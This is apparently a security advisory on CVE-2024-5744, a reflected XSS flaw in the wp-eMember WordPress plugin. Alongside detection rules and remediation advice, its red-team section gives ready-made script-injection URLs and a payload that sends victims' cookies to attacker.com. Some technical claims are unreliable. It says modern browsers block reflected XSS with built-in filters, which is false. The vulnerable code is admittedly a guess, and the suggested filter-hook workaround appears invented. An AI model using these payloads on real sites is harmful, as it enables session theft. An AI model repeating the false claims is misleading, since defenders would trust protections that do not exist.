CVE-2024-5744

Executive Summary

CVE-2024-5744 is a reflected cross-site scripting (XSS) vulnerability in the wp-eMember WordPress plugin, affecting versions prior to 10.6.7. The vulnerability arises because the plugin fails to properly escape the $_SERVER['REQUEST_URI'] parameter before outputting it back into an HTML attribute. This allows an attacker to inject arbitrary JavaScript code into a page, which is then executed in the victim's browser. The attack is particularly effective against older web browsers that do not enforce modern XSS protections. The CVSS score is 0.0 due to incomplete NVD data, but the actual risk is moderate, with a CVSS v3.1 base score of 6.1 (Medium). No public proof-of-concept (PoC) or exploit code is currently available, and the EPSS score is 0.0%, indicating low exploitation activity. However, the vulnerability is trivial to exploit and could be used in targeted phishing campaigns.

Supply Chain & Package Security

This vulnerability affects the WordPress plugin ecosystem. The plugin is distributed via the official WordPress plugin repository. Users should ensure they are using version 10.6.7 or later, which contains the fix. No other package managers (NPM, PyPI, Go, Ruby) are involved.

CVSS Breakdown & Threat Level

• CVSS Vector: CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N
• Base Score: 6.1 (Medium)
• Attack Vector: Network (AV:N) – The vulnerability can be exploited remotely.
• Attack Complexity: Low (AC:L) – No special conditions are required.
• Privileges Required: None (PR:N) – No authentication is needed.
• User Interaction: Required (UI:R) – The victim must click a crafted link.
• Scope: Changed (S:C) – The injected script can affect resources beyond the vulnerable component.
• Confidentiality Impact: Low (C:L) – Limited data exposure possible.
• Integrity Impact: Low (I:L) – Limited modification of content possible.
• Availability Impact: None (A:N) – No denial of service.

Threat Level: Medium. The vulnerability is easy to exploit but requires user interaction. It is most dangerous in older browsers that lack XSS filters.

Deep Dive & Mechanics

The vulnerability is located in the wp-eMember plugin's handling of the $_SERVER['REQUEST_URI'] variable. This variable contains the full URI of the current request, including query parameters. The plugin outputs this value directly into an HTML attribute without proper escaping or sanitization.

Vulnerable Code Path: In versions prior to 10.6.7, the plugin likely uses code similar to:

echo '<a href="' . $_SERVER['REQUEST_URI'] . '">Click here</a>';

An attacker can craft a URL such as:

http://example.com/wp-content/plugins/wp-emember/some-page.php?"><script>alert('XSS')</script>

When the victim visits this URL, the $_SERVER['REQUEST_URI'] will contain the malicious payload, which is then echoed into the HTML attribute. The injected "> breaks out of the attribute, allowing the attacker to inject arbitrary HTML and JavaScript.

Why Older Browsers Are Affected: Modern browsers (e.g., Chrome, Firefox, Edge) have built-in XSS filters (e.g., XSS Auditor) that can detect and block reflected XSS attacks. However, older browsers (e.g., Internet Explorer 6-8, older versions of Safari) do not have these protections, making them vulnerable.

Attack Scenario:

1. Attacker crafts a malicious URL containing JavaScript payload.
2. Attacker sends the URL to the victim via email, social media, or other channels.
3. Victim clicks the link while using an older browser.
4. The injected script executes in the context of the victim's session, potentially stealing cookies, redirecting to phishing sites, or performing actions on behalf of the victim.

Vulnerable vs. Patched Code

Vulnerable Code (pre-10.6.7):

<?php
// Vulnerable: Direct output of REQUEST_URI without escaping
echo '<a href="' . $_SERVER['REQUEST_URI'] . '">Back to page</a>';
?>

Patched Code (10.6.7+):

<?php
// Patched: Escaping the REQUEST_URI using esc_url()
echo '<a href="' . esc_url( $_SERVER['REQUEST_URI'] ) . '">Back to page</a>';
?>

The esc_url() function in WordPress properly encodes special characters, preventing attribute injection. Additionally, the plugin may use wp_unslash() and sanitize_text_field() for additional safety.

Exploitation & Lab Setup

Red Team (Offensive)

Prerequisites:

• A WordPress site running wp-eMember < 10.6.7.
• A victim using an older browser (e.g., Internet Explorer 8).

Exploitation Steps:

1. Identify a vulnerable endpoint that reflects $_SERVER['REQUEST_URI']. Common endpoints include login pages, error pages, or any page that uses the plugin's template functions.
2. Craft a malicious URL:

   http://target-site.com/wp-content/plugins/wp-emember/member-login.php?"><script>alert(document.cookie)</script>
   

3. Encode the payload if needed to avoid URL encoding issues:

   http://target-site.com/wp-content/plugins/wp-emember/member-login.php?%22%3E%3Cscript%3Ealert(document.cookie)%3C/script%3E
   

4. Send the link to the victim via phishing email or social engineering.
5. When the victim clicks the link, the script executes, and you can capture cookies or perform other actions.

Advanced Payload Example:

<script>
fetch('https://attacker.com/steal?cookie=' + document.cookie);
</script>

Blue Team (Defensive)

Detection:

• Monitor web server logs for unusual URIs containing <script> tags or encoded HTML entities.
• Use WAF rules to block requests with suspicious patterns in the URI.

Hunting:

• Search for requests to wp-eMember pages with query strings containing ">< or %22%3E.
• Check for outbound connections to unknown domains from the web server.

Lab Setup:

1. Install a local WordPress instance with wp-eMember version 10.6.6.
2. Use an older browser (e.g., IE8 via a virtual machine) to test the exploit.
3. Monitor network traffic using Burp Suite or Wireshark.

Indicators of Compromise (IOCs)

• Network IOCs:
  • URIs containing "><script> or %22%3E%3Cscript%3E in the query string.
  • Outbound HTTP requests to unknown IPs or domains from the web server.
• File IOCs:
  • Modified WordPress core files (unlikely, but check for injected scripts).
• Log IOCs:
  • Web server logs showing requests with suspicious URIs to wp-eMember pages.
  • Error logs containing JavaScript execution errors.

Detection Engineering

YARA Rule

rule wp_emember_reflected_xss_cve_2024_5744 {
    meta:
        description = "Detects reflected XSS attempts against wp-eMember plugin"
        author = "Valters IT"
        date = "2025-04-10"
        cve = "CVE-2024-5744"
    strings:
        $uri_pattern = /wp-content\/plugins\/wp-emember\/.*?%22%3E%3Cscript%3E/i
        $uri_pattern2 = /wp-content\/plugins\/wp-emember\/.*?\"><script>/i
    condition:
        any of them
}

Sigma Rule

title: Reflected XSS Attempt Against wp-eMember Plugin
id: 8a9b3c2d-1e5f-4a7b-9c8d-0e1f2a3b4c5d
status: experimental
description: Detects reflected XSS attempts targeting CVE-2024-5744 in wp-eMember plugin
author: Valters IT
date: 2025-04-10
logsource:
    category: webserver
    product: apache
detection:
    selection:
        cs-uri-query|contains:
            - '"><script>'
            - '%22%3E%3Cscript%3E'
        cs-uri-stem|contains: '/wp-content/plugins/wp-emember/'
    condition: selection
falsepositives:
    - Legitimate use of similar patterns in other contexts (rare)
level: high

Suricata Rule

alert http any any -> any any (msg:"CVE-2024-5744 wp-eMember Reflected XSS Attempt"; flow:to_server,established; content:"/wp-content/plugins/wp-emember/"; http_uri; content:"%22%3E%3Cscript%3E"; http_uri; sid:1000001; rev:1;)

Remediation & Mitigation

Immediate Actions:

1. Update the plugin: Upgrade wp-eMember to version 10.6.7 or later immediately.
2. Apply virtual patching: If immediate update is not possible, use a Web Application Firewall (WAF) to block requests containing "><script> or %22%3E%3Cscript%3E in the URI.
3. Disable the plugin: Temporarily deactivate wp-eMember until the patch can be applied.

Long-term Mitigations:

• Input validation: Ensure all user-supplied data, including $_SERVER['REQUEST_URI'], is properly validated and escaped before output.
• Content Security Policy (CSP): Implement a strict CSP header to mitigate the impact of XSS even if a vulnerability exists.
• Browser updates: Encourage users to use modern browsers that have built-in XSS protections.
• Regular audits: Conduct periodic security reviews of all WordPress plugins and themes.

Workaround: If updating is not possible, you can add a custom filter in your theme's functions.php to escape the REQUEST_URI:

add_filter('wp_emember_request_uri', 'esc_url');

However, this depends on the plugin's code structure and may not work in all cases.

Valters IT
Securing Digital Frontiers